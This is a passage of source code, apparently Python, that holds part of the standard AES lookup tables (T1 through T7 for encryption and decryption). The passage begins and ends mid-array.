0x058f8f8a, 0x3f9292ad, 0x219d9dbc, 0x70383848, 0xf1f5f504, 0x63bcbcdf, 0x77b6b6c1, 0xafdada75, 0x42212163, 0x20101030, 0xe5ffff1a, 0xfdf3f30e, 0xbfd2d26d, 0x81cdcd4c, 0x180c0c14, 0x26131335, 0xc3ecec2f, 0xbe5f5fe1, 0x359797a2, 0x884444cc, 0x2e171739, 0x93c4c457, 0x55a7a7f2, 0xfc7e7e82, 0x7a3d3d47, 0xc86464ac, 0xba5d5de7, 0x3219192b, 0xe6737395, 0xc06060a0, 0x19818198, 0x9e4f4fd1, 0xa3dcdc7f, 0x44222266, 0x542a2a7e, 0x3b9090ab, 0x0b888883, 0x8c4646ca, 0xc7eeee29, 0x6bb8b8d3, 0x2814143c, 0xa7dede79, 0xbc5e5ee2, 0x160b0b1d, 0xaddbdb76, 0xdbe0e03b, 0x64323256, 0x743a3a4e, 0x140a0a1e, 0x924949db, 0x0c06060a, 0x4824246c, 0xb85c5ce4, 0x9fc2c25d, 0xbdd3d36e, 0x43acacef, 0xc46262a6, 0x399191a8, 0x319595a4, 0xd3e4e437, 0xf279798b, 0xd5e7e732, 0x8bc8c843, 0x6e373759, 0xda6d6db7, 0x018d8d8c, 0xb1d5d564, 0x9c4e4ed2, 0x49a9a9e0, 0xd86c6cb4, 0xac5656fa, 0xf3f4f407, 0xcfeaea25, 0xca6565af, 0xf47a7a8e, 0x47aeaee9, 0x10080818, 0x6fbabad5, 0xf0787888, 0x4a25256f, 0x5c2e2e72, 0x381c1c24, 0x57a6a6f1, 0x73b4b4c7, 0x97c6c651, 0xcbe8e823, 0xa1dddd7c, 0xe874749c, 0x3e1f1f21, 0x964b4bdd, 0x61bdbddc, 0x0d8b8b86, 0x0f8a8a85, 0xe0707090, 0x7c3e3e42, 0x71b5b5c4, 0xcc6666aa, 0x904848d8, 0x06030305, 0xf7f6f601, 0x1c0e0e12, 0xc26161a3, 0x6a35355f, 0xae5757f9, 0x69b9b9d0, 0x17868691, 0x99c1c158, 0x3a1d1d27, 0x279e9eb9, 0xd9e1e138, 0xebf8f813, 0x2b9898b3, 0x22111133, 0xd26969bb, 0xa9d9d970, 0x078e8e89, 0x339494a7, 0x2d9b9bb6, 0x3c1e1e22, 0x15878792, 0xc9e9e920, 0x87cece49, 0xaa5555ff, 0x50282878, 0xa5dfdf7a, 0x038c8c8f, 0x59a1a1f8, 0x09898980, 0x1a0d0d17, 0x65bfbfda, 0xd7e6e631, 0x844242c6, 0xd06868b8, 0x824141c3, 0x299999b0, 0x5a2d2d77, 0x1e0f0f11, 0x7bb0b0cb, 0xa85454fc, 0x6dbbbbd6, 0x2c16163a ]\n    T2 = [ 0xa5c66363, 0x84f87c7c, 0x99ee7777, 0x8df67b7b, 0x0dfff2f2, 0xbdd66b6b, 0xb1de6f6f, 0x5491c5c5, 0x50603030, 0x03020101, 0xa9ce6767, 0x7d562b2b, 0x19e7fefe, 0x62b5d7d7, 0xe64dabab, 0x9aec7676, 0x458fcaca, 0x9d1f8282, 0x4089c9c9, 0x87fa7d7d, 0x15effafa, 0xebb25959, 0xc98e4747, 0x0bfbf0f0, 0xec41adad, 0x67b3d4d4, 0xfd5fa2a2, 0xea45afaf, 0xbf239c9c, 0xf753a4a4, 0x96e47272, 0x5b9bc0c0, 0xc275b7b7, 0x1ce1fdfd, 0xae3d9393, 0x6a4c2626, 0x5a6c3636, 0x417e3f3f, 0x02f5f7f7, 0x4f83cccc, 0x5c683434, 0xf451a5a5, 0x34d1e5e5, 0x08f9f1f1, 0x93e27171, 0x73abd8d8, 0x53623131, 0x3f2a1515, 0x0c080404, 0x5295c7c7, 0x65462323, 0x5e9dc3c3, 0x28301818, 0xa1379696, 0x0f0a0505, 0xb52f9a9a, 0x090e0707, 0x36241212, 0x9b1b8080, 0x3ddfe2e2, 0x26cdebeb, 0x694e2727, 0xcd7fb2b2, 0x9fea7575, 0x1b120909, 0x9e1d8383, 0x74582c2c, 0x2e341a1a, 0x2d361b1b, 0xb2dc6e6e, 0xeeb45a5a, 0xfb5ba0a0, 0xf6a45252, 0x4d763b3b, 0x61b7d6d6, 0xce7db3b3, 0x7b522929, 0x3edde3e3, 0x715e2f2f, 0x97138484, 0xf5a65353, 0x68b9d1d1, 0x00000000, 0x2cc1eded, 0x60402020, 0x1fe3fcfc, 0xc879b1b1, 0xedb65b5b, 0xbed46a6a, 0x468dcbcb, 0xd967bebe, 0x4b723939, 0xde944a4a, 0xd4984c4c, 0xe8b05858, 0x4a85cfcf, 0x6bbbd0d0, 0x2ac5efef, 0xe54faaaa, 0x16edfbfb, 0xc5864343, 0xd79a4d4d, 0x55663333, 0x94118585, 0xcf8a4545, 0x10e9f9f9, 0x06040202, 0x81fe7f7f, 0xf0a05050, 0x44783c3c, 0xba259f9f, 0xe34ba8a8, 0xf3a25151, 0xfe5da3a3, 0xc0804040, 0x8a058f8f, 0xad3f9292, 0xbc219d9d, 0x48703838, 0x04f1f5f5, 0xdf63bcbc, 0xc177b6b6, 0x75afdada, 0x63422121, 0x30201010, 0x1ae5ffff, 0x0efdf3f3, 0x6dbfd2d2, 0x4c81cdcd, 0x14180c0c, 0x35261313, 0x2fc3ecec, 0xe1be5f5f, 0xa2359797, 0xcc884444, 0x392e1717, 0x5793c4c4, 0xf255a7a7, 0x82fc7e7e, 0x477a3d3d, 0xacc86464, 0xe7ba5d5d, 0x2b321919, 0x95e67373, 0xa0c06060, 0x98198181, 0xd19e4f4f, 0x7fa3dcdc, 0x66442222, 0x7e542a2a, 0xab3b9090, 0x830b8888, 0xca8c4646, 0x29c7eeee, 0xd36bb8b8, 0x3c281414, 0x79a7dede, 0xe2bc5e5e, 0x1d160b0b, 0x76addbdb, 0x3bdbe0e0, 0x56643232, 0x4e743a3a, 0x1e140a0a, 0xdb924949, 0x0a0c0606, 0x6c482424, 0xe4b85c5c, 0x5d9fc2c2, 0x6ebdd3d3, 0xef43acac, 0xa6c46262, 0xa8399191, 0xa4319595, 0x37d3e4e4, 0x8bf27979, 0x32d5e7e7, 0x438bc8c8, 0x596e3737, 0xb7da6d6d, 0x8c018d8d, 0x64b1d5d5, 0xd29c4e4e, 0xe049a9a9, 0xb4d86c6c, 0xfaac5656, 0x07f3f4f4, 0x25cfeaea, 0xafca6565, 0x8ef47a7a, 0xe947aeae, 0x18100808, 0xd56fbaba, 0x88f07878, 0x6f4a2525, 0x725c2e2e, 0x24381c1c, 0xf157a6a6, 0xc773b4b4, 0x5197c6c6, 0x23cbe8e8, 0x7ca1dddd, 0x9ce87474, 0x213e1f1f, 0xdd964b4b, 0xdc61bdbd, 0x860d8b8b, 0x850f8a8a, 0x90e07070, 0x427c3e3e, 0xc471b5b5, 0xaacc6666, 0xd8904848, 0x05060303, 0x01f7f6f6, 0x121c0e0e, 0xa3c26161, 0x5f6a3535, 0xf9ae5757, 0xd069b9b9, 0x91178686, 0x5899c1c1, 0x273a1d1d, 0xb9279e9e, 0x38d9e1e1, 0x13ebf8f8, 0xb32b9898, 0x33221111, 0xbbd26969, 0x70a9d9d9, 0x89078e8e, 0xa7339494, 0xb62d9b9b, 0x223c1e1e, 0x92158787, 0x20c9e9e9, 0x4987cece, 0xffaa5555, 0x78502828, 0x7aa5dfdf, 0x8f038c8c, 0xf859a1a1, 0x80098989, 0x171a0d0d, 0xda65bfbf, 0x31d7e6e6, 0xc6844242, 0xb8d06868, 0xc3824141, 0xb0299999, 0x775a2d2d, 0x111e0f0f, 0xcb7bb0b0, 0xfca85454, 0xd66dbbbb, 0x3a2c1616 ]\n    T3 = [ 0x63a5c663, 0x7c84f87c, 0x7799ee77, 0x7b8df67b, 0xf20dfff2, 0x6bbdd66b, 0x6fb1de6f, 0xc55491c5, 0x30506030, 0x01030201, 0x67a9ce67, 0x2b7d562b, 0xfe19e7fe, 0xd762b5d7, 0xabe64dab, 0x769aec76, 0xca458fca, 0x829d1f82, 0xc94089c9, 0x7d87fa7d, 0xfa15effa, 0x59ebb259, 0x47c98e47, 0xf00bfbf0, 0xadec41ad, 0xd467b3d4, 0xa2fd5fa2, 0xafea45af, 0x9cbf239c, 0xa4f753a4, 0x7296e472, 0xc05b9bc0, 0xb7c275b7, 0xfd1ce1fd, 0x93ae3d93, 0x266a4c26, 0x365a6c36, 0x3f417e3f, 0xf702f5f7, 0xcc4f83cc, 0x345c6834, 0xa5f451a5, 0xe534d1e5, 0xf108f9f1, 0x7193e271, 0xd873abd8, 0x31536231, 0x153f2a15, 0x040c0804, 0xc75295c7, 0x23654623, 0xc35e9dc3, 0x18283018, 0x96a13796, 0x050f0a05, 0x9ab52f9a, 0x07090e07, 0x12362412, 0x809b1b80, 0xe23ddfe2, 0xeb26cdeb, 0x27694e27, 0xb2cd7fb2, 0x759fea75, 0x091b1209, 0x839e1d83, 0x2c74582c, 0x1a2e341a, 0x1b2d361b, 0x6eb2dc6e, 0x5aeeb45a, 0xa0fb5ba0, 0x52f6a452, 0x3b4d763b, 0xd661b7d6, 0xb3ce7db3, 0x297b5229, 0xe33edde3, 0x2f715e2f, 0x84971384, 0x53f5a653, 0xd168b9d1, 0x00000000, 0xed2cc1ed, 0x20604020, 0xfc1fe3fc, 0xb1c879b1, 0x5bedb65b, 0x6abed46a, 0xcb468dcb, 0xbed967be, 0x394b7239, 0x4ade944a, 0x4cd4984c, 0x58e8b058, 0xcf4a85cf, 0xd06bbbd0, 0xef2ac5ef, 0xaae54faa, 0xfb16edfb, 0x43c58643, 0x4dd79a4d, 0x33556633, 0x85941185, 0x45cf8a45, 0xf910e9f9, 0x02060402, 0x7f81fe7f, 0x50f0a050, 0x3c44783c, 0x9fba259f, 0xa8e34ba8, 0x51f3a251, 0xa3fe5da3, 0x40c08040, 0x8f8a058f, 0x92ad3f92, 0x9dbc219d, 0x38487038, 0xf504f1f5, 0xbcdf63bc, 0xb6c177b6, 0xda75afda, 0x21634221, 0x10302010, 0xff1ae5ff, 0xf30efdf3, 0xd26dbfd2, 0xcd4c81cd, 0x0c14180c, 0x13352613, 0xec2fc3ec, 0x5fe1be5f, 0x97a23597, 0x44cc8844, 0x17392e17, 0xc45793c4, 0xa7f255a7, 0x7e82fc7e, 0x3d477a3d, 0x64acc864, 0x5de7ba5d, 0x192b3219, 0x7395e673, 0x60a0c060, 0x81981981, 0x4fd19e4f, 0xdc7fa3dc, 0x22664422, 0x2a7e542a, 0x90ab3b90, 0x88830b88, 0x46ca8c46, 0xee29c7ee, 0xb8d36bb8, 0x143c2814, 0xde79a7de, 0x5ee2bc5e, 0x0b1d160b, 0xdb76addb, 0xe03bdbe0, 0x32566432, 0x3a4e743a, 0x0a1e140a, 0x49db9249, 0x060a0c06, 0x246c4824, 0x5ce4b85c, 0xc25d9fc2, 0xd36ebdd3, 0xacef43ac, 0x62a6c462, 0x91a83991, 0x95a43195, 0xe437d3e4, 0x798bf279, 0xe732d5e7, 0xc8438bc8, 0x37596e37, 0x6db7da6d, 0x8d8c018d, 0xd564b1d5, 0x4ed29c4e, 0xa9e049a9, 0x6cb4d86c, 0x56faac56, 0xf407f3f4, 0xea25cfea, 0x65afca65, 0x7a8ef47a, 0xaee947ae, 0x08181008, 0xbad56fba, 0x7888f078, 0x256f4a25, 0x2e725c2e, 0x1c24381c, 0xa6f157a6, 0xb4c773b4, 0xc65197c6, 0xe823cbe8, 0xdd7ca1dd, 0x749ce874, 0x1f213e1f, 0x4bdd964b, 0xbddc61bd, 0x8b860d8b, 0x8a850f8a, 0x7090e070, 0x3e427c3e, 0xb5c471b5, 0x66aacc66, 0x48d89048, 0x03050603, 0xf601f7f6, 0x0e121c0e, 0x61a3c261, 0x355f6a35, 0x57f9ae57, 0xb9d069b9, 0x86911786, 0xc15899c1, 0x1d273a1d, 0x9eb9279e, 0xe138d9e1, 0xf813ebf8, 0x98b32b98, 0x11332211, 0x69bbd269, 0xd970a9d9, 0x8e89078e, 0x94a73394, 0x9bb62d9b, 0x1e223c1e, 0x87921587, 0xe920c9e9, 0xce4987ce, 0x55ffaa55, 0x28785028, 0xdf7aa5df, 0x8c8f038c, 0xa1f859a1, 0x89800989, 0x0d171a0d, 0xbfda65bf, 0xe631d7e6, 0x42c68442, 0x68b8d068, 0x41c38241, 0x99b02999, 0x2d775a2d, 0x0f111e0f, 0xb0cb7bb0, 0x54fca854, 0xbbd66dbb, 0x163a2c16 ]\n    T4 = [ 0x6363a5c6, 0x7c7c84f8, 0x777799ee, 0x7b7b8df6, 0xf2f20dff, 0x6b6bbdd6, 0x6f6fb1de, 0xc5c55491, 0x30305060, 0x01010302, 0x6767a9ce, 0x2b2b7d56, 0xfefe19e7, 0xd7d762b5, 0xababe64d, 0x76769aec, 0xcaca458f, 0x82829d1f, 0xc9c94089, 0x7d7d87fa, 0xfafa15ef, 0x5959ebb2, 0x4747c98e, 0xf0f00bfb, 0xadadec41, 0xd4d467b3, 0xa2a2fd5f, 0xafafea45, 0x9c9cbf23, 0xa4a4f753, 0x727296e4, 0xc0c05b9b, 0xb7b7c275, 0xfdfd1ce1, 0x9393ae3d, 0x26266a4c, 0x36365a6c, 0x3f3f417e, 0xf7f702f5, 0xcccc4f83, 0x34345c68, 0xa5a5f451, 0xe5e534d1, 0xf1f108f9, 0x717193e2, 0xd8d873ab, 0x31315362, 0x15153f2a, 0x04040c08, 0xc7c75295, 0x23236546, 0xc3c35e9d, 0x18182830, 0x9696a137, 0x05050f0a, 0x9a9ab52f, 0x0707090e, 0x12123624, 0x80809b1b, 0xe2e23ddf, 0xebeb26cd, 0x2727694e, 0xb2b2cd7f, 0x75759fea, 0x09091b12, 0x83839e1d, 0x2c2c7458, 0x1a1a2e34, 0x1b1b2d36, 0x6e6eb2dc, 0x5a5aeeb4, 0xa0a0fb5b, 0x5252f6a4, 0x3b3b4d76, 0xd6d661b7, 0xb3b3ce7d, 0x29297b52, 0xe3e33edd, 0x2f2f715e, 0x84849713, 0x5353f5a6, 0xd1d168b9, 0x00000000, 0xeded2cc1, 0x20206040, 0xfcfc1fe3, 0xb1b1c879, 0x5b5bedb6, 0x6a6abed4, 0xcbcb468d, 0xbebed967, 0x39394b72, 0x4a4ade94, 0x4c4cd498, 0x5858e8b0, 0xcfcf4a85, 0xd0d06bbb, 0xefef2ac5, 0xaaaae54f, 0xfbfb16ed, 0x4343c586, 0x4d4dd79a, 0x33335566, 0x85859411, 0x4545cf8a, 0xf9f910e9, 0x02020604, 0x7f7f81fe, 0x5050f0a0, 0x3c3c4478, 0x9f9fba25, 0xa8a8e34b, 0x5151f3a2, 0xa3a3fe5d, 0x4040c080, 0x8f8f8a05, 0x9292ad3f, 0x9d9dbc21, 0x38384870, 0xf5f504f1, 0xbcbcdf63, 0xb6b6c177, 0xdada75af, 0x21216342, 0x10103020, 0xffff1ae5, 0xf3f30efd, 0xd2d26dbf, 0xcdcd4c81, 0x0c0c1418, 0x13133526, 0xecec2fc3, 0x5f5fe1be, 0x9797a235, 0x4444cc88, 0x1717392e, 0xc4c45793, 0xa7a7f255, 0x7e7e82fc, 0x3d3d477a, 0x6464acc8, 0x5d5de7ba, 0x19192b32, 0x737395e6, 0x6060a0c0, 0x81819819, 0x4f4fd19e, 0xdcdc7fa3, 0x22226644, 0x2a2a7e54, 0x9090ab3b, 0x8888830b, 0x4646ca8c, 0xeeee29c7, 0xb8b8d36b, 0x14143c28, 0xdede79a7, 0x5e5ee2bc, 0x0b0b1d16, 0xdbdb76ad, 0xe0e03bdb, 0x32325664, 0x3a3a4e74, 0x0a0a1e14, 0x4949db92, 0x06060a0c, 0x24246c48, 0x5c5ce4b8, 0xc2c25d9f, 0xd3d36ebd, 0xacacef43, 0x6262a6c4, 0x9191a839, 0x9595a431, 0xe4e437d3, 0x79798bf2, 0xe7e732d5, 0xc8c8438b, 0x3737596e, 0x6d6db7da, 0x8d8d8c01, 0xd5d564b1, 0x4e4ed29c, 0xa9a9e049, 0x6c6cb4d8, 0x5656faac, 0xf4f407f3, 0xeaea25cf, 0x6565afca, 0x7a7a8ef4, 0xaeaee947, 0x08081810, 0xbabad56f, 0x787888f0, 0x25256f4a, 0x2e2e725c, 0x1c1c2438, 0xa6a6f157, 0xb4b4c773, 0xc6c65197, 0xe8e823cb, 0xdddd7ca1, 0x74749ce8, 0x1f1f213e, 0x4b4bdd96, 0xbdbddc61, 0x8b8b860d, 0x8a8a850f, 0x707090e0, 0x3e3e427c, 0xb5b5c471, 0x6666aacc, 0x4848d890, 0x03030506, 0xf6f601f7, 0x0e0e121c, 0x6161a3c2, 0x35355f6a, 0x5757f9ae, 0xb9b9d069, 0x86869117, 0xc1c15899, 0x1d1d273a, 0x9e9eb927, 0xe1e138d9, 0xf8f813eb, 0x9898b32b, 0x11113322, 0x6969bbd2, 0xd9d970a9, 0x8e8e8907, 0x9494a733, 0x9b9bb62d, 0x1e1e223c, 0x87879215, 0xe9e920c9, 0xcece4987, 0x5555ffaa, 0x28287850, 0xdfdf7aa5, 0x8c8c8f03, 0xa1a1f859, 0x89898009, 0x0d0d171a, 0xbfbfda65, 0xe6e631d7, 0x4242c684, 0x6868b8d0, 0x4141c382, 0x9999b029, 0x2d2d775a, 0x0f0f111e, 0xb0b0cb7b, 0x5454fca8, 0xbbbbd66d, 0x16163a2c ]\n\n    # Transformations for decryption\n    T5 = [ 0x51f4a750, 0x7e416553, 0x1a17a4c3, 0x3a275e96, 0x3bab6bcb, 0x1f9d45f1, 0xacfa58ab, 0x4be30393, 0x2030fa55, 0xad766df6, 0x88cc7691, 0xf5024c25, 0x4fe5d7fc, 0xc52acbd7, 0x26354480, 0xb562a38f, 0xdeb15a49, 0x25ba1b67, 0x45ea0e98, 0x5dfec0e1, 0xc32f7502, 0x814cf012, 0x8d4697a3, 0x6bd3f9c6, 0x038f5fe7, 0x15929c95, 0xbf6d7aeb, 0x955259da, 0xd4be832d, 0x587421d3, 0x49e06929, 0x8ec9c844, 0x75c2896a, 0xf48e7978, 0x99583e6b, 0x27b971dd, 0xbee14fb6, 0xf088ad17, 0xc920ac66, 0x7dce3ab4, 0x63df4a18, 0xe51a3182, 0x97513360, 0x62537f45, 0xb16477e0, 0xbb6bae84, 0xfe81a01c, 0xf9082b94, 0x70486858, 0x8f45fd19, 0x94de6c87, 0x527bf8b7, 0xab73d323, 0x724b02e2, 0xe31f8f57, 0x6655ab2a, 0xb2eb2807, 0x2fb5c203, 0x86c57b9a, 0xd33708a5, 0x302887f2, 0x23bfa5b2, 0x02036aba, 0xed16825c, 0x8acf1c2b, 0xa779b492, 0xf307f2f0, 0x4e69e2a1, 0x65daf4cd, 0x0605bed5, 0xd134621f, 0xc4a6fe8a, 0x342e539d, 0xa2f355a0, 0x058ae132, 0xa4f6eb75, 0x0b83ec39, 0x4060efaa, 0x5e719f06, 0xbd6e1051, 0x3e218af9, 0x96dd063d, 0xdd3e05ae, 0x4de6bd46, 0x91548db5, 0x71c45d05, 0x0406d46f, 0x605015ff, 0x1998fb24, 0xd6bde997, 0x894043cc, 0x67d99e77, 0xb0e842bd, 0x07898b88, 0xe7195b38, 0x79c8eedb, 0xa17c0a47, 0x7c420fe9, 0xf8841ec9, 0x00000000, 0x09808683, 0x322bed48, 0x1e1170ac, 0x6c5a724e, 0xfd0efffb, 0x0f853856, 0x3daed51e, 0x362d3927, 0x0a0fd964, 0x685ca621, 0x9b5b54d1, 0x24362e3a, 0x0c0a67b1, 0x9357e70f, 0xb4ee96d2, 0x1b9b919e, 0x80c0c54f, 0x61dc20a2, 0x5a774b69, 0x1c121a16, 0xe293ba0a, 0xc0a02ae5, 0x3c22e043, 0x121b171d, 0x0e090d0b, 0xf28bc7ad, 0x2db6a8b9, 0x141ea9c8, 0x57f11985, 0xaf75074c, 0xee99ddbb, 0xa37f60fd, 0xf701269f, 0x5c72f5bc, 0x44663bc5, 0x5bfb7e34, 0x8b432976, 0xcb23c6dc, 0xb6edfc68, 0xb8e4f163, 0xd731dcca, 0x42638510, 0x13972240, 0x84c61120, 0x854a247d, 0xd2bb3df8, 0xaef93211, 0xc729a16d, 0x1d9e2f4b, 0xdcb230f3, 0x0d8652ec, 0x77c1e3d0, 0x2bb3166c, 0xa970b999, 0x119448fa, 0x47e96422, 0xa8fc8cc4, 0xa0f03f1a, 0x567d2cd8, 0x223390ef, 0x87494ec7, 0xd938d1c1, 0x8ccaa2fe, 0x98d40b36, 0xa6f581cf, 0xa57ade28, 0xdab78e26, 0x3fadbfa4, 0x2c3a9de4, 0x5078920d, 0x6a5fcc9b, 0x547e4662, 0xf68d13c2, 0x90d8b8e8, 0x2e39f75e, 0x82c3aff5, 0x9f5d80be, 0x69d0937c, 0x6fd52da9, 0xcf2512b3, 0xc8ac993b, 0x10187da7, 0xe89c636e, 0xdb3bbb7b, 0xcd267809, 0x6e5918f4, 0xec9ab701, 0x834f9aa8, 0xe6956e65, 0xaaffe67e, 0x21bccf08, 0xef15e8e6, 0xbae79bd9, 0x4a6f36ce, 0xea9f09d4, 0x29b07cd6, 0x31a4b2af, 0x2a3f2331, 0xc6a59430, 0x35a266c0, 0x744ebc37, 0xfc82caa6, 0xe090d0b0, 0x33a7d815, 0xf104984a, 0x41ecdaf7, 0x7fcd500e, 0x1791f62f, 0x764dd68d, 0x43efb04d, 0xccaa4d54, 0xe49604df, 0x9ed1b5e3, 0x4c6a881b, 0xc12c1fb8, 0x4665517f, 0x9d5eea04, 0x018c355d, 0xfa877473, 0xfb0b412e, 0xb3671d5a, 0x92dbd252, 0xe9105633, 0x6dd64713, 0x9ad7618c, 0x37a10c7a, 0x59f8148e, 0xeb133c89, 0xcea927ee, 0xb761c935, 0xe11ce5ed, 0x7a47b13c, 0x9cd2df59, 0x55f2733f, 0x1814ce79, 0x73c737bf, 0x53f7cdea, 0x5ffdaa5b, 0xdf3d6f14, 0x7844db86, 0xcaaff381, 0xb968c43e, 0x3824342c, 0xc2a3405f, 0x161dc372, 0xbce2250c, 0x283c498b, 0xff0d9541, 0x39a80171, 0x080cb3de, 0xd8b4e49c, 0x6456c190, 0x7bcb8461, 0xd532b670, 0x486c5c74, 0xd0b85742 ]\n    T6 = [ 0x5051f4a7, 0x537e4165, 0xc31a17a4, 0x963a275e, 0xcb3bab6b, 0xf11f9d45, 0xabacfa58, 0x934be303, 0x552030fa, 0xf6ad766d, 0x9188cc76, 0x25f5024c, 0xfc4fe5d7, 0xd7c52acb, 0x80263544, 0x8fb562a3, 0x49deb15a, 0x6725ba1b, 0x9845ea0e, 0xe15dfec0, 0x02c32f75, 0x12814cf0, 0xa38d4697, 0xc66bd3f9, 0xe7038f5f, 0x9515929c, 0xebbf6d7a, 0xda955259, 0x2dd4be83, 0xd3587421, 0x2949e069, 0x448ec9c8, 0x6a75c289, 0x78f48e79, 0x6b99583e, 0xdd27b971, 0xb6bee14f, 0x17f088ad, 0x66c920ac, 0xb47dce3a, 0x1863df4a, 0x82e51a31, 0x60975133, 0x4562537f, 0xe0b16477, 0x84bb6bae, 0x1cfe81a0, 0x94f9082b, 0x58704868, 0x198f45fd, 0x8794de6c, 0xb7527bf8, 0x23ab73d3, 0xe2724b02, 0x57e31f8f, 0x2a6655ab, 0x07b2eb28, 0x032fb5c2, 0x9a86c57b, 0xa5d33708, 0xf2302887, 0xb223bfa5, 0xba02036a, 0x5ced1682, 0x2b8acf1c, 0x92a779b4, 0xf0f307f2, 0xa14e69e2, 0xcd65daf4, 0xd50605be, 0x1fd13462, 0x8ac4a6fe, 0x9d342e53, 0xa0a2f355, 0x32058ae1, 0x75a4f6eb, 0x390b83ec, 0xaa4060ef, 0x065e719f, 0x51bd6e10, 0xf93e218a, 0x3d96dd06, 0xaedd3e05, 0x464de6bd, 0xb591548d, 0x0571c45d, 0x6f0406d4, 0xff605015, 0x241998fb, 0x97d6bde9, 0xcc894043, 0x7767d99e, 0xbdb0e842, 0x8807898b, 0x38e7195b, 0xdb79c8ee, 0x47a17c0a, 0xe97c420f, 0xc9f8841e, 0x00000000, 0x83098086, 0x48322bed, 0xac1e1170, 0x4e6c5a72, 0xfbfd0eff, 0x560f8538, 0x1e3daed5, 0x27362d39, 0x640a0fd9, 0x21685ca6, 0xd19b5b54, 0x3a24362e, 0xb10c0a67, 0x0f9357e7, 0xd2b4ee96, 0x9e1b9b91, 0x4f80c0c5, 0xa261dc20, 0x695a774b, 0x161c121a, 0x0ae293ba, 0xe5c0a02a, 0x433c22e0, 0x1d121b17, 0x0b0e090d, 0xadf28bc7, 0xb92db6a8, 0xc8141ea9, 0x8557f119, 0x4caf7507, 0xbbee99dd, 0xfda37f60, 0x9ff70126, 0xbc5c72f5, 0xc544663b, 0x345bfb7e, 0x768b4329, 0xdccb23c6, 0x68b6edfc, 0x63b8e4f1, 0xcad731dc, 0x10426385, 0x40139722, 0x2084c611, 0x7d854a24, 0xf8d2bb3d, 0x11aef932, 0x6dc729a1, 0x4b1d9e2f, 0xf3dcb230, 0xec0d8652, 0xd077c1e3, 0x6c2bb316, 0x99a970b9, 0xfa119448, 0x2247e964, 0xc4a8fc8c, 0x1aa0f03f, 0xd8567d2c, 0xef223390, 0xc787494e, 0xc1d938d1, 0xfe8ccaa2, 0x3698d40b, 0xcfa6f581, 0x28a57ade, 0x26dab78e, 0xa43fadbf, 0xe42c3a9d, 0x0d507892, 0x9b6a5fcc, 0x62547e46, 0xc2f68d13, 0xe890d8b8, 0x5e2e39f7, 0xf582c3af, 0xbe9f5d80, 0x7c69d093, 0xa96fd52d, 0xb3cf2512, 0x3bc8ac99, 0xa710187d, 0x6ee89c63, 0x7bdb3bbb, 0x09cd2678, 0xf46e5918, 0x01ec9ab7, 0xa8834f9a, 0x65e6956e, 0x7eaaffe6, 0x0821bccf, 0xe6ef15e8, 0xd9bae79b, 0xce4a6f36, 0xd4ea9f09, 0xd629b07c, 0xaf31a4b2, 0x312a3f23, 0x30c6a594, 0xc035a266, 0x37744ebc, 0xa6fc82ca, 0xb0e090d0, 0x1533a7d8, 0x4af10498, 0xf741ecda, 0x0e7fcd50, 0x2f1791f6, 0x8d764dd6, 0x4d43efb0, 0x54ccaa4d, 0xdfe49604, 0xe39ed1b5, 0x1b4c6a88, 0xb8c12c1f, 0x7f466551, 0x049d5eea, 0x5d018c35, 0x73fa8774, 0x2efb0b41, 0x5ab3671d, 0x5292dbd2, 0x33e91056, 0x136dd647, 0x8c9ad761, 0x7a37a10c, 0x8e59f814, 0x89eb133c, 0xeecea927, 0x35b761c9, 0xede11ce5, 0x3c7a47b1, 0x599cd2df, 0x3f55f273, 0x791814ce, 0xbf73c737, 0xea53f7cd, 0x5b5ffdaa, 0x14df3d6f, 0x867844db, 0x81caaff3, 0x3eb968c4, 0x2c382434, 0x5fc2a340, 0x72161dc3, 0x0cbce225, 0x8b283c49, 0x41ff0d95, 0x7139a801, 0xde080cb3, 0x9cd8b4e4, 0x906456c1, 0x617bcb84, 0x70d532b6, 0x74486c5c, 0x42d0b857 ]\n    T7 = [ 0xa75051f4, 0x65537e41, 0xa4c31a17, 0x5e963a27, 0x6bcb3bab, 0x45f11f9d, 0x58abacfa, 0x03934be3, 0xfa552030, 0x6df6ad76, 0x769188cc, 0x4c25f502, 0xd7fc4fe5, 0xcbd7c52a, 0x44802635, 0xa38fb562, 0x5a49deb1, 0x1b6725ba, 0x0e9845ea, 0xc0e15dfe, 0x7502c32f, 0xf012814c, 0x97a38d46, 0xf9c66bd3, 0x5fe7038f, 0x9c951592, 0x7aebbf6d, 0x59da9552, 0x832dd4be, 0x21d35874, 0x692949e0, 0xc8448ec9, 0x896a75c2, 0x7978f48e, 0x3e6b9958, 0x71dd27b9, 0x4fb6bee1, 0xad17f088, 0xac66c920, 0x3ab47dce, 0x4a1863df, 0x3182e51a, 0x33609751, 0x7f456253, 0x77e0b164, 0xae84bb6b, 0xa01cfe81, 0x2b94f908, 0x68587048, 0xfd198f45, 0x6c8794de, 0xf8b7527b, 0xd323ab73, 0x02e2724b, 0x8f57e31f, 0xab2a6655, 0x2807b2eb, 0xc2032fb5, 0x7b9a86c5, 0x08a5d337, 0x87f23028, 0xa5b223bf, 0x6aba0203, 0x825ced16, 0x1c2b8acf, 0xb492a779, 0xf2f0f307, 0xe2a14e69, 0xf4cd65da, 0xbed50605, 0x621fd134, 0xfe8ac4a6, 0x539d342e, 0x55a0a2f3, 0xe132058a, 0xeb75a4f6, 0xec390b83, 0xefaa4060, 0x9f065e71, 0x1051bd6e, 0x8af93e21, 0x063d96dd, 0x05aedd3e, 0xbd464de6, 0x8db59154, 0x5d0571c4, 0xd46f0406, 0x15ff6050, 0xfb241998, 0xe997d6bd, 0x43cc8940, 0x9e7767d9, 0x42bdb0e8, 0x8b880789, 0x5b38e719, 0xeedb79c8, 0x0a47a17c, 0x0fe97c42, 0x1ec9f884, 0x00000000, 0x86830980, 0xed48322b, 0x70ac1e11, 0x724e6c5a, 0xfffbfd0e, 0x38560f85, 0xd51e3dae, 0x3927362d, 0xd9640a0f, 0xa621685c, 0x54d19b5b, 0x2e3a2436, 0x67b10c0a, 0xe70f9357, 0x96d2b4ee, 0x919e1b9b, 0xc54f80c0, 0x20a261dc, 0x4b695a77, 0x1a161c12, 0xba0ae293, 0x2ae5c0a0, 0xe0433c22, 0x171d121b, 0x0d0b0e09, 0xc7adf28b, 0xa8b92db6, 0xa9c8141e, 0x198557f1, 0x074caf75, 0xddbbee99, 0x60fda37f, 0x269ff701, 0xf5bc5c72, 0x3bc54466, 0x7e345bfb, 0x29768b43, 0xc6dccb23, 0xfc68b6ed, 0xf163b8e4, 0xdccad731, 0x85104263, 0x22401397, 0x112084c6, 0x247d854a, 0x3df8d2bb, 0x3211aef9, 0xa16dc729, 0x2f4b1d9e, 0x30f3dcb2, 0x52ec0d86, 0xe3d077c1, 0x166c2bb3, 0xb999a970, 0x48fa1194, 